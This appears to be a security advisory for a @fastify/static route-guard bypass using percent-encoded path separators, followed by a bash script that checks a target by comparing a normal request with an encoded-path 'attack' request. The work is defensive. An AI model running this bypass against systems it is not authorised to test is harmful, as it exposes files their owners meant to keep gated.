@fastify/static Route Guard Bypass via Non-Canonical (Percent-Encoded) URL Paths

@fastify/static decodes percent-encoded path separators (%2F) before it resolves files from disk, while Fastify's router treats those same bytes as literal characters when matching route guards. That mismatch — classic CWE-180 (Incorrect Behavior Order: Validate Before Canonicalize) — means a route-level preHandler or auth middleware guarding /admin/* will not match a request to /admin%2Fsecret.json, but the static plugin will happily serve admin/secret.json from the wwwroot. Affected versions track with the sibling advisory GHSA-x428-ghpx-8j92 pattern: @fastify/static up to and including 9.1.0, fixed in 9.1.1. Only applications that (a) mount @fastify/static and (b) rely on Fastify's own routing layer to enforce authorization on static assets are exposed — apps that use a reverse-proxy ACL or a filesystem-level ACL are not.

The vendor tag of MEDIUM / 5.3 (AV:N/AC:L/PR:N/UI:N/C:L/I:N/A:N) is defensible. The bug leaks confidentiality only — no write, no execution, no crash — and only for files the deployer chose to place inside the static root but wanted gated behind Fastify middleware. That is a real bug, but it's a narrow one; the majority of @fastify/static deployments serve fully public assets (bundled JS, CSS, images), in which case there is nothing to bypass. Vendor severity matches reality.

Sources.

1. GHSA-x428-ghpx-8j92 — sibling advisory in @fastify/static
2. GitHub Advisory DB — CVE-2026-6414 (same class)
3. SentinelOne — CVE-2026-6414 writeup
4. Snyk — Directory Traversal in @fastify/static
5. GitLab Advisory DB — @fastify/static CVE-2026-6414
6. Fastify security advisories index
7. CWE-180 — Incorrect Behavior Order: Validate Before Canonicalize
8. FIRST EPSS API — CVE-2026-7120

Run on an auditor workstation or CI job that can reach the target Fastify host. Invoke as ./check-cve-2026-7120.sh https://target.example.com /admin/known-file.json. No privileges required. Exits 1 (VULNERABLE), 0 (PATCHED), 2 (UNKNOWN).

#!/usr/bin/env bash
# noisgate: CVE-2026-7120 @fastify/static route-guard bypass check
# Usage: ./check-cve-2026-7120.sh <base_url> <gated_path>
#   e.g. ./check-cve-2026-7120.sh https://app.example.com /admin/config.json
set -u

BASE="${1:-}"
GATED="${2:-}"

if [[ -z "$BASE" || -z "$GATED" ]]; then
  echo "UNKNOWN: usage: $0 <base_url> <gated_path>" >&2
  exit 2
fi

# Split gated path into prefix and file
PREFIX="$(dirname "$GATED")"
FILE="$(basename "$GATED")"
ENCODED_PATH="${PREFIX}%2F${FILE}"

echo "[*] Baseline: GET ${BASE}${GATED}"
BASELINE=$(curl -sk -o /dev/null -w '%{http_code}' "${BASE}${GATED}")
echo "    -> HTTP ${BASELINE}"

echo "[*] Attack:   GET ${BASE}${ENCODED_PATH}"
ATTACK=$(curl -sk --path-as-is -o /dev/null -w '%{http_code}' "${BASE}${ENCODED_PATH}")
echo "    -> HTTP ${ATTACK}"

# Baseline must be a block (401/403/404) AND attack must be a success (200)
if [[ "$BASELINE" =~ ^(401|403|404)$ ]] && [[ "$ATTACK" == "200" ]]; then
  echo "VULNERABLE: guard returned ${BASELINE} but encoded-separator returned 200"
  exit 1
fi

if [[ "$BASELINE" == "$ATTACK" ]]; then
  echo "PATCHED: guard behavior consistent across canonical and encoded paths (${BASELINE})"
  exit 0
fi

echo "UNKNOWN: baseline=${BASELINE} attack=${ATTACK} — inspect manually"
exit 2